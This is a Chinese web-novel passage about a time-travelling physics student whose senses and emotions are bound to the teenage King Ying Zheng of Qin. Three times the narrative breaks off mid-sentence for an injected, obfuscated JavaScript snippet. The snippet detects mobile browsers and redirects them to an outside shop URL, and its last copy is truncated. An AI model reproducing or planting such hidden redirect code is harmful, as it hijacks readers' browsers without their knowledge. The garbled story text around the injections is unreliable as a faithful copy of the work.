《与少年嬴政绑定共感后》 1. 那个咸阳城热度第一的女人 “真是活久了什么都能见着了啊!” “这算什么事啊!” “咸阳城最近还有救吗?那个女人已经占据讨论榜第一整整5天了!” “您看上面两位过去5天了还是一副如痴如醉的样子就知道,这热度还能再维持七天!” “七天?!得了吧,就她那事,再让人讨论半个月都不嫌多的!” “何止,不知所云那榜上不是有备注吗,不只是咸阳,七国都传疯了!唉,不说了,喝酒喝酒!小二,再来一坛!” 众人沉默一阵,应声虫又起。 “真是活久了什么都能见着了啊!” “这算什么事啊!” “有辱礼法!有辱礼法呀!” “嘘!小声点!秦国历来女性掌权者还少吗?你说这话,把那位放哪里了!不要命了?!” 好在这里是喧嚣的酒楼,不是露天街头,三杯酒下肚,发些牢骚不痛不痒,没人追究。 二楼的大人物们听着自一楼飘上来的言论,心中这样想着。 今日休沐,他们默契地三三两两聚集,也是为了那不知是谁搞出来的热度讨论榜第一的女人。五天前大王新拜的帝师,印玖。 “大王此举,不知意欲何为啊。”总所周知,大秦相邦吕不韦是先王指定的当今秦王的老师,现在大王又要搞出个新的老师了,不知道是想做些什么。而关键是—— “相邦居然许了。也不知那女子有何能耐。”有人抓耳挠腮,百思不得其解。 “听说明天有几位上卿会去咸阳宫讨论一些事情,似乎是与那女子相关。” “哦,是什么事?快说!” “快说!” “具体我也不清楚,总之大人们都一副讳莫如深的样子,不肯透露半分。” “兄台,你是在治粟内史手底下当门客吧?我听说你这一个月来也很风光呀,怎么,治粟内史大人没和你透露一二?” “唉,兄台,你这就不够意思了!我要是知道,我能不告诉各位吗?!”那人折扇一合,故作生气道。 “你这样说,那就是一定有了!”有人兴奋地站起来指着他道。 “是什么,快说快说!” “快说呀!” “就是,你今天要是不说,这三坛酒可是无论如何都不能逃的!” “就是!” “就是!!” “哎哎哎!且慢且慢!我说我说!” “……” “是什么,快说呀!” “快说!” “快说!” “是……哎呀,就是一个小球从这里滚到那里,假设没有摩擦力,做了多少功……” “……” “……” “……” “这是什么。”有人小声问。 “不知道,我当时运气好,在门外听见治粟内史和人讨论这个,于是瞎说了几句,就,就,就……” “就什么呀!你快说!” “就成你们现在看见的这样喽。”锦衣罗帽,玉扇握在手中,一副贵公子做派,哪里有初见时那副窘迫样? 众人二次沉默。 . 章台宫内,这几日,各种不满的、反对的、言辞激烈或委婉的各种奏章一封封如雪片般飞来堆积在嬴政案头上。印玖随手拿起一封讨伐自己的奏章,无奈道:“这个不是我写的。” 她是写了苏轼的《定风波·莫听穿林打叶声》给嬴政,但是没想剽窃祖宗成果。至于嬴政将其作为赐封自己为帝师的直接原因,印玖一直觉得不妥。 实在是名不副实。 “这个不重要。”嬴政淡淡道。 印玖知道嬴政有他自己的打算,自己不过是一个棋子,因此无悲无喜,只表达立场。 “你的造纸术实施策略明日午时会在咸阳宫正殿商议,到时候你也要出席。” “好。” 印玖将讨伐自己的奏章放回去。 嬴政身边的女官喜做事总是十二分细致,奏章总是按照不同类别排好。比如这边数量远超出常规的,就是不满封自己为帝师写奏章来骂自己的。而这一边奏章里面,有一叠的数量远超出常态的,就是单纯骂自己的。其中还有一叠数量略少的,是不满嬴政封自己为帝师的,还有几份孤零零的奏章,印玖也看了一下,是单纯借封帝师这件事情骂嬴政的。 不过反对无效。 金印紫绥的印章已经佩戴在印玖腰间,金光灿灿,十分惹眼。 看得人羡慕嫉妒恨,五味杂陈。 但嬴政不知为何,左看右看都觉得有些不顺眼。直到他从公文中抽身出来休息时,看见印玖将印绥摘下拿在手里一边玩一边看书才觉得有几分顺眼。 嬴政有一瞬间怀疑自己疯了。 但又觉得十分正常。毕竟眼前之人就是这样一个跳脱的性子。 还记得初见那日。 (印玖视角) “什么叫共感?”印玖一头雾水地看向系统,对方看起来很不好意思。 “就是……那个……把你和嬴政的情绪、五感绑定在一起。” “可是我两个礼拜前没遇到哇。” “副本出bug了。”系统心虚地将视线移向一别,“这一次你重新进副本会有。” 此时印玖还没有完全预料到事情的严重性:“你不是说你们完美无缺吗?怎么能捅出这么大的篓子?” “这个……原因目前还在排查当中。总之,为了表示歉意,等宿主完成任务,我们会给予丰厚奖励。” “希望你们说到做到吧。” “我们拥有100%信用。另外,我们这边会额外给予宿主三天的准备时间,以帮助宿主更好地应对bug,宿主可以选择是否接受。” “接受。我再玩三天。”印玖站起的身体重新躺回床上,拿起手机打开晋江开始找书,准备度过三天美好时光。 系统看着,知道她送客的意思很明显了。 “呃……宿主,容我多提醒一句,共感绑定……有点复杂,尤其对你来说,你还是多做准备吧。” 印玖满脸无所谓:“什么共感,共感什么?耽误我做完任务回家吗?不耽误就行。” “未必……你如果觉得你这边问题不大的话,不如多想想嬴政那边……糟糕,差点违规了!总之我言尽于此,宿主你自己多保重。” 系统消失后,印玖开始思考起它的话来。 嬴政…… 她记得两周前的副本里面,嬴政看起来没有什么问题啊。活在那样的环境当中,有些不太好的情绪是很正常的,但是从嬴政的表现来看,他一直都是公事公办,很少受情绪影响……可能是自己对他不够了解?毕竟自己只是借助现代所学,作为“殿前行走”的身份存在,并未深度参与到那个副本的世界里面。 她第一次进副本,不熟悉古代的细枝末节,因此一直在韬光养晦,暗中积累经验。 但这一次,她打算好好努力,干出一番成绩,以求早日通过副本,早日回家。 至于共感不共感的,不影响这个大局就行。 反正,某种程度上,多了解一点嬴政,对她的主线来说只好不坏。 时间一天天过去,印玖恋恋不舍地告别过这三天的幸福时光,极不情愿地面对眼前的抹布、水桶与太监。 这就是她在副本里面的初始场景。 只是,感觉好像和她第一次进副本有点不太一样。 “系统,为什么我感觉我有些过于难受了?” 虽然现代生活难舍难分,但也不至于让她如此惆怅吧,浓得好像化不开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151480|196457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑雾。 “很正常,因为这是嬴政的情绪。” “呃。”印玖开始意识到这是件不太妙的事情。 当晚,她就去了嬴政寝殿。 嬴政觉得有哪里不对劲。 从今天上午开始,似乎感觉多了点难舍难分之情。 他面对底下乌泱泱一大堆朝臣,有些无语。 怎么会对他们难舍难分呢? “退朝。”他道。 夜晚是最难熬的时候,吕不韦和华阳太后的斗争距离现在不过几个月,这几个月里,嬴政没有睡过一天安稳觉。 他的亲祖母可以做出污蔑他非父王之子的丑事来,当然也可以悄无声息杀死他。 为了活下来,他只能审时度势,尊吕不韦为相邦,拉拢他对付华阳太后。 他不知道周围的人有多少是祖母的、有多少是吕不韦的,但他清楚自己宛如独行于一片黑蒙蒙的迷雾,不知方向,没有尽头。 过去几个月了,每一天都是这样,今天例外。 那日,嬴政看见了一片大海。这片大海很沉静,但隐约有些雀跃,一些小浪花翻涌。四周像是阴天,无灿阳无雨,而大海表体透蓝,再往深却不可见。 嬴政凝视大海良久,不愿前进也不愿后退。这海既能驱散他内心的雾,却不可过分靠近,恐被其卷入。 他难得在夜晚享受片刻平静,拿着一本书读得正入迷。 突然海乱了,波涛翻涌起来。 嬴政正觉得奇怪,不多时,有侍人来报,说有宫女求见。 殿内烛光点点,一朵朵小灯火着好似专业的舞者,连跳动的频率都整齐划一。整个夜晚静谧无声,只能听见印玖刻意走出的一点细微脚步声。 又是华阳太后或吕不韦派来的人吗? “见。” 他端坐于正殿上,四面烛光将他包围,兀自闪烁。柔和烛光映照着他的脸,蝶翼般的睫毛在摇曳烛火下显得轻微颤动。 他看见印玖缓步上前,跪在堂前,等待着自己发话,内心那片海突然有了异样的波动。 “……”今天着实有些诡异,他自认为不会对一个宫女有过于饱满的期待,不至于让自己情绪有明显变化。 嬴政压下心中疑虑,瞥了眼前女子一眼。听侍卫说,她是来献策的,于是淡淡开口道:“你有何策?” 十三岁的少年嗓音带着稚嫩,气度却很沉稳。 印玖深吸一口气,答出和上一次副本一样的回复:“回陛下,奴昨日于梦中偶遇一仙人,仙人领奴去了天宫,参悟这天地自然的法则,说大秦国国君乃是秉承天命之人,此世当一统六国,开创万世先河,故遣我将这自然法则交予陛下,协助陛下顺应天时,缔造不世之功。” 印玖说这话时脸不红、眼神雀跃,好像真的是这样一回事,唯独在心里泛起了嘀咕。 虽说上一次副本她是靠着这样的方法成功被封为“殿前行走”,但也保不齐这次嬴政不打算继续挖掘她的价值,而是选择把她的话当成欺君之言,直接拖下去五马分尸。 嬴政内心那片海于是翻起浪花。 莫名地,嬴政有一种直觉,他觉得眼前女子在说谎。 “妖言惑众,拖下去,五马分尸。倘若敢于人前疯言乱语,连同三族一起枭首示众。” 印玖眼睛瞪得像铜铃,这一刻连封建礼教的尊卑都顾不得了,“蹭”地站起来,走到嬴政前面说:“不是吧哥们,你都不问问我别的吗?比如我说的自然法则是什么,比如仙人住处如何之类的,你这就要五马分尸我?我没惹你吧?” 他上一次不是这样的啊! 那片海随着印玖越靠越近翻腾起大的浪花,余威冲击在嬴政脚下,与眼前人气急败坏的形象重合。电光火石间,他凝视着浪花退却和自己湿掉的鞋袜,想到了什么。 2. 五马分尸 一个荒谬的答案,但能解释今天的两点异常。 门外侍卫已经进来,要将印玖带走。 他并未阻止,感受着内心那片原本不属于自己的情绪,直到印玖被拖到门口。 “慢,寡人再给你一次机会。” 随着他话音落,那片海又有了变化,伴随着印玖被放开,松了松自己的手腕而变得平静起来。 嬴政终于确定,那片海属于眼前这个人。至于所谓什么仙人,难道真的存在吗? “上前来。”他说。 印玖警惕地看向嬴政,只走到一开始跪下的地方重新跪好。大脑飞快地复盘刚才嬴政的一系列举动。 等等,他不会是在验证共感吧? 没有别的答案能解释嬴政的180°大反转。 确定了这一点,印玖反而平静了很多。 如果嬴政不想感受到五马分尸的话,应该是不会让自己被五马分尸的。 虽然实际上,她死时系统会屏蔽痛觉。 “系统,他不会还拥有上一次副本的记忆吧?” 印玖内心捏了一把冷汗。 这就太麻烦了。 “没有检测到这个异常。”系统难得正经起来,两条黑色大眉毛变成倒竖,眼神也锋利了很多。看起来,他们对这次的副本bug也很认真。 印玖目前无意了解系统的事情,她只想回家,并尽可能减少麻烦。 听见系统这样说,她放下心来。不能暴露副本存在是系统告诉她的明文规则之一,这件事情对系统比对印玖更重要。直觉告诉印玖,这背后关系着巨大的秘密,但她没这么大的命知道。 “你……”嬴政突然有些不知该如何开口。印玖的出现完全打乱了他的计划,他现在在重新调整自己的计划。 “是的,如你所发现的那样。我们之间感官互通。”印玖主动推进话题,她使劲掐了一下自己的手背,花了老大劲找到一块皮。尼玛这具身体太瘦弱了,得赶紧练出肌肉线条。 嬴政感觉到手背疼。 脑子更疼。 眼睁睁的事实迫使他打起十二分的注意力应对起来。他原本以为对方可能不知道这件事情,毕竟从一开始她就没有表现出来,也没有告诉他。 “你为何不一早告诉寡人?” 若非他及时发现,现在体会五马分尸滋味的人也有自己一份了。 “忘了。我一开始以为,这不是什么大事。”印玖颇有些无奈。 没想到这个bug的存在,一开始就给自己来了个大的,差点害她落地成盒。 “……”嬴政沉默了片刻,将话题重新说回印玖来献策。 “你献的什么策?” “《物理学》。” “这是什么?” “研究自然规律的学科。”印玖简单给他讲述了一下牛顿三大定律与一些日常应用,不出意外地获得了对方的认可。紧接着她又补充了相关的数学基础,以及涉及了一点微观的量子力学。 嬴政终于意识到印玖的价值,和上一次副本里一样,给予肯定。 紧接着,他又问:“这些是仙人交给你的?” “不是,我自己学的。至于在哪里学的你别管,不能透露,多了解了之后你自然会猜到。” “……” 嬴政没想到自己的盘问直接被一个宫女回绝,内心有些异样感。印玖当然捕捉到了,但她没理会。系统有规定,很多东西她不好直说,但嬴政何等聪明,学了物理学更加不会相信传统文化里的神仙,上一次他就自己猜到了,还治了自己一个欺君之罪,功过相抵,命她继续传授学业。 这一世又多了共感这个bug,印玖干脆直说了——反正再怎么造,也不会小命不保。 嬴政算是发现了对方是个不按套路出牌,对于这样的挑战,内心萌生出一丝兴趣。虽然他目前仍然不能确定印玖是否属于某一方势力,但今日发生的事情实在太过匪夷所思,他需要时间好好理清楚,于是让侍卫带印玖下去,好吃好喝好住伺候着。 这一次可比第一次麻烦多了。印玖进入梦乡前感叹。 希望明天会好一点吧。 印玖睡了个好觉,她知道不会有人来打扰她让她去擦地或者是打扫庭院了。 是以被嬴政派来的人叫醒时,她极力压制自己的起床气。 “大王命奴带姑娘去书房上课。” “我为什么要上课?”印玖一双睡眼睁不开,整个人躺在被窝里不肯挪动一下。 “是大王上课,姑娘陪读。”侍人耐心解释。 印玖一瞬间清醒。她当然记得给嬴政上课的是他名义上的仲父、大秦相邦吕不韦。只是为什么要叫上自己呢? 他又把自己归类为吕不韦一派了? 这个倒是无所谓,印玖相信他能够自己努力找出来正确答案的。 只是上次副本里面,也没有陪读这个环节啊!印玖记得他直接在第二天给了自己一个“殿前行走”的身份,就没再管过自己了。她隐隐觉得,这个共感还会给她带来很多意想不到的事情。 一边想着,她慢悠悠起床洗漱,与系统交谈。 “统啊,你们这个bug到底是怎么回事啊?我记得我刚来的时候你说的信誓旦旦,怎么现在出了这么大的问题,剧情走向都变了这么多。” “不排除有人恶意攻击副本。我们还在排查中,宿主你辛苦了。”系统说完客套话,又给出了自己的建议,“不过宿主,上一次你吐槽你在副本里面收获很少,怕完不成贡献值任务,这一次你可以借机多收集点信息了。” “我也是这么想的。” 印玖上一世什么关键信息都不知道,只在冷兵器改进上有些了解。你要问她物理学到哪里去了? 不好意思,她主修的是理论物理,不是工程物理。具体的机械器皿,她只见过猪跑,没吃过猪肉,只能自己从基础理论出发和建造院的人一起一点点尝试。 最后会不会成功,她也不知道,毕竟她在嫪毐叛乱里就死了。 这边侍女带着印玖一路走到咸阳宫,印玖走得腿发软时,终于走到了。一路领着自己的侍女向嬴政身边的那个侍女行了礼,交换了眼神,印玖便知道自己要换人领着进去了。 “跟我来吧。”喜神色淡淡,先印玖一步进了门,印玖后脚跟进去,内心有些忐忑。 第一眼见到吕不韦时,印玖就发现对方有一双精明的眼睛,以及商贾那种左右逢源、圆滑而不失风度的气质。她只看了一眼便匆匆低下头。 这样的眼睛她曾在母亲和母亲的合作伙伴脸上看到过。根据她的经验来看,吕不韦即使身在丞相之位,爱好仍是风投。 “这位姑娘是?”吕不韦一眼注意到了印玖,很自然地把她与嬴政的关系往那方面想。 嬴政14岁生日是今年年初过的,距离现在不过半年。吕不韦觉得,这个年纪还是太小了,他准备适当干预。 “寡人觉得她的一些见解颇为不俗,故而带她来给仲父看看。”嬴政淡淡解释道。 “哦?”吕不韦眼角露出一抹感兴趣的探究,“大王向来要求极高,难得有看得上的人。不知这小姑娘在哪些方面有见解,可以入大王法眼?” “仲父自己听她说吧。”嬴政抬手示意印玖上前。 礼仪方面印玖很有经验,她给二人分别行了标准的礼,然后简单对吕不韦讲述了牛顿经典物理学的三大定律以及一些应用。 吕不韦听完思索了好一阵,欣赏道:“姑娘当得起惊才绝艳之名啊!” “过奖。”印玖淡然接受夸奖,荣辱不惊,这又让吕不韦高看几分。 其实这样的夸奖印玖在现代经常能收到,导师也对她寄予厚望,只不过,呵呵,她来了这里。 吕不韦并没有因为印玖的突然到来而打乱节奏,与她的深入交谈被安排至嬴政授课结束后。 “郑国有买履者………” 吕不韦喜欢用事例教导嬴政,他先讲一个故事,再让嬴政思考故事中蕴含的为君之道,最后自己解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151481|196457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补充。 印玖仔细听了一下,他的故事有原创,也有引经据典,但嬴政好像不太喜欢这种形式。 只见他坐在那里,脸上挂着客套的笑容,好似权当完成日常任务般,顺着吕不韦的要求回答。 其实印玖觉得这种方式十分无效。关键在于他的讲述方式只建立在情理和世俗规范之上,全然没有逻辑,难以让人信服。 但印玖是在国内高考的。高中嘛,大家都知道,哪怕不是山河四省,也有三年死亡课程安排。经历了这三年,印玖早就已经锻炼出来了一副足够以假乱真的表情模样,只见她眼神清澈,随着吕不韦的讲述给出反应,不时表现出恍然大悟的神情,但大多数情况下都是一副露出兴趣十足认真听讲的样子。 靠着这些小妙招,印玖愣是在高中课堂上走神三年也未被发觉。吕不韦即使是丞相,但在教学上经验还不如印玖的高中老师,自然更不可能发现。一堂课下来只觉得印玖实乃“孺子可教也”的好苗子。 实际上印玖只用三分之一的精力挑着吕不韦讲的史料典故听,积累素材。 课后,吕不韦十二万分满意地夸赞了印玖的课堂表现,并亲自拿笔给印玖,让她深入地展示其中的一些知识。 印玖看了一眼嬴政,得到许可后,方开始引入数学分析解释一些常见的物理现象。 嬴政坐在一旁饶有趣味地看着印玖。方才他感觉到内心又轻松又愉快,这怎么可能是认真听吕不韦讲课的感受,只能说此人坑蒙拐骗之术十二万分高明。而此刻,他心中那片海又沉又深,一点波澜没有,才是十足十的认真状态。 印玖则是突然感受到了嬴政的轻快,抽空瞥了一眼嬴政,见他面无表情盯着自己这边,判断对方刚才肯定在乐什么。 而吕不韦听得很是认真,甚至跟随印玖的视线也看了一眼嬴政。印玖课前所说的内容,仅仅是理论上的叙述就让吕不韦感觉到印玖的那套物理体系大有可为之处,只是隐隐缺少了些关键支撑。而现在引入了数学对其进行分析后,整个体系的骨架就撑起来了。 经年累月与数字打交道的吕不韦当然知道,数字的发明堪称奇迹。数字不仅不会骗人,还是铁一般的衡量尺度。 数字的引入,成功让她所讲述的物理脱离了文人的泛泛而谈,变成可以具体运用的知识。 “不知大王对这位姑娘有何打算?”若是男子,自然顺理成章封官进爵,将她所说的物理学发扬光大,威震六国,只可惜是个女子,有些麻烦。 若是没有共感这一层,嬴政自然不会考虑印玖的想法,但他不想给自己平添烦恼,便看向印玖问:“你自己的意思呢?” 印玖闻言,眼前闪现前世被来自身后的长矛穿了个透心凉的画面,笑道:“实不相瞒,奴除了在刚才展示的地方上有些天分外,对于其他事情一窍不通。因此奴想留在大王身边学习。”说着,印玖看了嬴政一眼。 这一眼无端有些依恋。 嬴政:“……”被人当枪使了。 这一眼在吕不韦看来,便无端生出别的情愫来,他笑了笑,也不点破:“大王即位不久,还是要多熟悉政务,切不可贪图享乐,损毁历代秦王积蓄的功业。”言词间并未制止二人的一些未来潜在发展。 “自然。” 出乎意料,印玖没有感受到嬴政得知被利用后的生气。 她还以为要花些功夫解释自己的行为。 “印玖姑娘这样的人才,似乎不应该为人奴隶,大王还是早日恢复她的自由身吧。”印玖的安排已经解决,吕不韦便借口政务离开了咸阳宫。 印玖所述内容非同小可,他得早日去查明她的身世以及弄明白这些知识会给秦国乃至七国带来什么影响。 吕不韦走后,嬴政拿起印玖写过的那张帛锦打算好好看看。昨天晚上他只听她口头讲了一遍,而这些东西的重要程度值得他反复咀嚼。 嬴政看到印玖的字时怔了一下,难怪刚才吕不韦看完印玖笔书后对印玖如此惊叹:“你的字是谁教的?” 3. 食欲共感 “自学的吧。”她当时初来乍到,连字都不会认,还是他下令让蒙毅教她写字,以便他能看懂物理学的内容。蒙毅不敢怠慢,便每日抽出时间亲自教她。不过她并没有学习对方那种端正规矩像印刷体一样的写法,而是根据其形和意即兴自创了一套写法。 她记得蒙毅当时看后沉默了一瞬,她随手拿了只新毛笔,最终随印玖去了,之后只教她字义,不教书写。 因为真的写得很好看。 印玖的字是她小时候最引以为傲的技能,她常常凭借自己讨人喜欢的外表和一手绝佳的字赢得父母的各路甲方领导的喜欢。 “你想留在寡人身边?” “对啊,我想学点东西。我觉得我不能只会埋头搞这些东西,还得学会抬头看路。”前车之鉴血淋淋啊!鲜血如同烟花般绽放的画面确实很美,但发生在自己身上就有点膈应了。 印玖的意思不难理解,嬴政将帛锦收起,对她说:“可以,拿你的知识来换。” 印玖一听有戏,笑道:“那陛下可以期待一下。” 嬴政微微有些意外:“陛下?”这一称呼并不常用。它虽然是个尊称,但并非国君独享,众人为表尊重,一般称呼国君为大王。 嬴政虽然喜欢这个称呼,但印玖叫得如此熟练,反而加深了他心中疑虑。 他突然想到昨天晚上印玖说的话。 “多了解你自然会猜到。” “……”这样吗? “对了,你不生气我利用你吗?” 二人并行走路回章台宫时,印玖好奇地问嬴政。 “寡人没有在利用你吗?”嬴政反问她。一夜的时间足够他想明白,面前这个能讲明白那些物理知识的女是个十分聪明的人。 印玖听闻就笑了,眼睛像两个亮亮的月牙。她道:“那就好。” 是的,这样不麻烦。嬴政在心里回应。况且,自己已经为她在秦国乃至天下这局棋盘上找到了一个绝佳的位置。不论她是敌是友,都不会发生影响最终结果。那么过程如何变动,比如被利用一两次、被被刺一两次,都无关紧要。 嬴政动作很快地给印玖解除了奴籍,并安排了一个女官身份行走于章台宫。 消息很快送到两位太后那里。但起初,她们都以为这是一件小事。 “怎么什么事都能拿到本宫这里来说?”华阳太后躺在在梨花木贵妃椅上,闭目不悦,享受着侍女按摩太阳穴。一旁待命侍女听了立即将面前下跪的人送出去。 而另一宫的赵太后只是慵懒地挥退送来情报的下人:“政儿大了,他想做什么就做什么吧。不必事事告知本宫。对了,昨天那个杂耍班子不错,今日再让他们进宫来一趟。” “是。” . 印玖则笔耕不辍地写了一天物理讲义,其中涉及微积分等数学内容。考虑到古人数学底子,她特意花了很多篇幅讲解数学概念,并辅之以图像帮助理解。 做跟物理相关的工作总是让人充满精力,直到中午侍人端着饭菜进来发出动静时,印玖才从物理世界中抽出身,惊觉已到正午。 印玖拿开案几上的笔墨和竹简,侍女将餐盒放在案几上打开。印玖定睛一看,傻眼了。 她看着盘子里的金黄小米,以及浸泡着各种一看就知道难吃的菜叶汤,还有一小碟聊胜于无的肉酱,坐在桌前半晌没动筷子。 偏偏侍人还在充满羡慕地介绍:“这是大王特意赏赐的猪肉酱,珍贵无比。这是大王特意吩咐给印女史的小米饭,没有谷壳,都是精米……” 印玖听着听着彻底没了食欲,她长叹了一口气。 怎么办,才两天不见,她已经不能接受没有现代食物的生活了。 印玖在侍人注视下吃了几筷子嬴政赐给她的食物,其余实在是无心无力无福消受。 但是又不能不吃,印玖的肚子一直在抗议。 印玖一边吃一边想,突然想到秦王殿正殿的桌前摆放着糕点,而他好像不爱吃。于是一张略带着些婴儿肥的脸瞬间生动起来。 她行动力迅速,来到秦王殿并找到了糕点浅尝了一小口。 印玖在嘴里细细咀嚼,认为这个东西能入口,于是狼吞虎咽吃起来,一手一个精致糕点。她一边吃一边感慨,从来没想到自己这样一个不挑食的人居然有一天也变得挑食了。 想想也是,她第一次进这个副本,一切适应良好,除了食物!好不容易适应了,又回系统空间过了两个礼拜好日子,一下子由简入奢,再也回不去了。 嬴政今日在书房用午膳,他特意关照了厨房给印玖好一些的待遇,想来她胃口应该不差,不会影响自己吃饭。谁料还没吃两口,内心就传来一股厌食情绪。 嬴政:“……”他强忍着吃了几筷子后,发现对方情绪好了很多。他刚放下心来,想来是接受了。或许她以前吃得不错吧。 不料饭刚吃一半,嘴里一股甜腻的味道蔓延开来。 嬴政:“……”他素来不喜甜食,这一下他吃饭的心情也没了。 她的住处没有甜食,她能接触到的甜食是……自己的殿中。 嬴政:“……”他想到昨天晚上印玖听见自己要将她“五马分尸”后狂妄地起身对着他一顿输出,样子大有凌驾于王权之上。 他当时便觉得有些奇怪。如果这个人是吕不韦或者华阳太后,又或者是王翦、蒙骜,他都不会觉得诧异,可偏偏是一个普通到不能再普通的普通人,甚至奴籍都没脱。 当然,她不得不承认,这样性格的人很适合充当挡箭牌和替罪羊之类的角色。 不过当务之急,是赶紧找到她。嬴政真的不喜欢甜食带来的感受。 他找到印玖时,视线扫过她坐着的案几以及旁边的空盘。 来晚了,但好在能亡羊补牢。 二人视线交汇了几秒,各自都有不满。 印玖突然想起要行礼,急忙站起来给嬴政行礼。 嬴政颔首接受了。他并不指望印玖内心有多少敬意。 “这是我上午写完的,你可以先看看。”印玖指了指另一张案几上一大堆厚重帛锦道,“把这些东西搬过来花了我不少力气。” 嬴政暂时放下对她吃甜食的讨伐,走过去拿起一块,粗略扫了几眼,有图画有注释,逻辑清晰字迹工整,不错。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151482|196457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他道:“之后准你在这里写你的物理理论,吃同我。唯独有一条,禁甜食。” 印玖完全不乐意,指着空碟子道:“那你在这里摆着做什么?”看的吗? 嬴政有些无语,她不知道有一种物品叫“装饰”吗? 印玖见嬴政不动摇,诚恳解释道:“我这个人比较喜欢吃甜食,你们这里好吃的东西太少了,如果没有甜食的话,我的人生会少很多快乐的。” “寡人素来不喜食甜食。”嬴政在主席坐下对面前站着的印玖说。 “那怎么办?” “寡人说了,今后你与寡人同食。” “那你每天吃什么菜?” 嬴政:“……晚上你就知道了。” “你一天吃三餐还是两餐?” “……三餐。”嬴政微微皱起眉头道,“你还有什么想问的,一并问了,我还有事。” 印玖想了想说:“应该没了。” 嬴政:“……”天知道他因为该死的“共感”承担了多少! 不知道昨天晚上派人出去寻找的方士什么时候能找到! 到了晚上,印玖终于看见了会出现在现代小康家庭餐桌的食物,嘴里嘟囔着:“不错,终于能吃上人吃的东西了。” 嬴政:“……”什么意思,寡人特意赏赐的东西,很难以下咽吗?寡人的饮食标准,在你的过去仅仅是属于“人的吃食”吗? 此人来历不明,又和自己有如此深的绑定,嬴政本能地感到危险,不得不做更多试探。 “你老家是咸阳本地?” “是吧。”设定是这样的。 “后来跟随父母走遍七国做生意?” “昂。”有什么问题吗? “你是因何契机了解到‘物理’这种东西的?” “大秦以西。”不过时间在几千年后。 “安东帝国?”嬴政差点以为自己听错了,面上虽然不动声色,内心已经万分差异。此人怎么能去到如此大范围的领域?就算是做生意也罕见。总不能真是神仙下凡来了。 “是吧,名字我不太了解。但是,位置在西方。”印玖一边夹菜一边说。 安东帝国其实叫安息帝国,嬴政刻意埋伏了一手,但印玖毫无察觉,至少嬴政这样以为。但他未曾料到,眼前人看似聪慧至极,对于人心拿捏更是手到擒来,直接戳破他还有些拙劣的试探—— “陛下,别问啦,吃饭吧。你想一下子全搞明白是不可能的。” “……” 吃过晚饭,印玖便回了自己房间休息,应对嬴政盘问花了她不少心思。吃个饭至于嘛,搞得她一个不高兴直接把对方揭穿了。 嬴政则思考起未来面对印玖的对策来。有关此人的一切都云遮雾绕,不见全貌,与其相处必须打起十二分的精神。 做完一系列复盘和计划已是深夜,昨日因印玖的到来,计划被打乱,未能出门散心,今日得补上。 他偏爱沿着兰池边散步,一轮明月独照他孑然一身,仿佛此后千秋岁月都染上了孤独色彩。 印玖回房后思考了一点物理问题便睡下了,很突兀地做了一个噩梦。 4. 情绪共感 梦里她站在楼上,价值数十万的水晶吊灯照不出有温度的光。她冷漠地看着母亲在一楼疯了一般地砸东西,保姆远远站在另一旁,不敢靠近。 突然,母亲好像发现了什么,转头毒蛇般准确锁定印玖的位置,恶鬼一般盯着她。 印玖猛地惊醒。 不知为何她有些气愤,气愤到不想睡觉。 她沉默地坐起来,意识到自己已经很久没做这样的梦了。 秋夜凉,她披上衣服,点燃烛火,直接忽视笨重的竹简,拿出一张帛锦,开始写纸张的制作方法。 这是她在系统空间的那两个礼拜里学会的,特意考虑到了战国时期落后到离谱的生产力做出了调整。 帛锦又重又贵,而物理研究的工程浩大,没有便宜轻便的纸张是不行的。 印玖写得很认真,却不知为何,内心一直有一块很难过。她将其按下不理会,过了很长时间才反应过来,这应该是嬴政的情绪。 “……” 那么今天的梦也就说得通了。她花了很久稳定下来的情绪,就这样被嬴政的情绪引动,连带着那些记忆一起,跑到她的梦里。 天知道她因为该死的“共感”承担了多少! “系统,共感真的不能解绑吗?”印玖写完,穿好衣服准备将纸张制作材料与流程拿去给嬴政。 “根据我们的经验,宿主你这次任务失败就行了。” “经验?”印玖敏锐地捕捉到了这个用词,“你们还有前科?” “系统副本数量多如牛毛、内容浩大,加上有人捣乱,出点意外很正常的啦。宿主你可以帮助我们多留心一下,有奖励哦。” “哦。”印玖毫不感兴趣地回应了一声。 她正在前往秦王殿的路上。 睡觉如此神圣美好的事情,是不允许被打扰的! 她已经打定主意了,既然嬴政让她睡不着,那么他也别想睡好觉! 谁不让她睡觉她咬谁! 等到了秦王殿才知道嬴政没睡,人在兰池边上坐着。 侍人不敢去打扰,但给了印玖一件外袍。印玖几乎以为那是给自己的,幸好脑子及时回到黑金色应该是帝王专属的封建社会。 都怪他的情绪让自己没法好好睡觉! 印玖接过外袍就去了。 等她找到嬴政,将手中外袍往他身边一递:“一个眉目清秀的侍人让我给你的。” 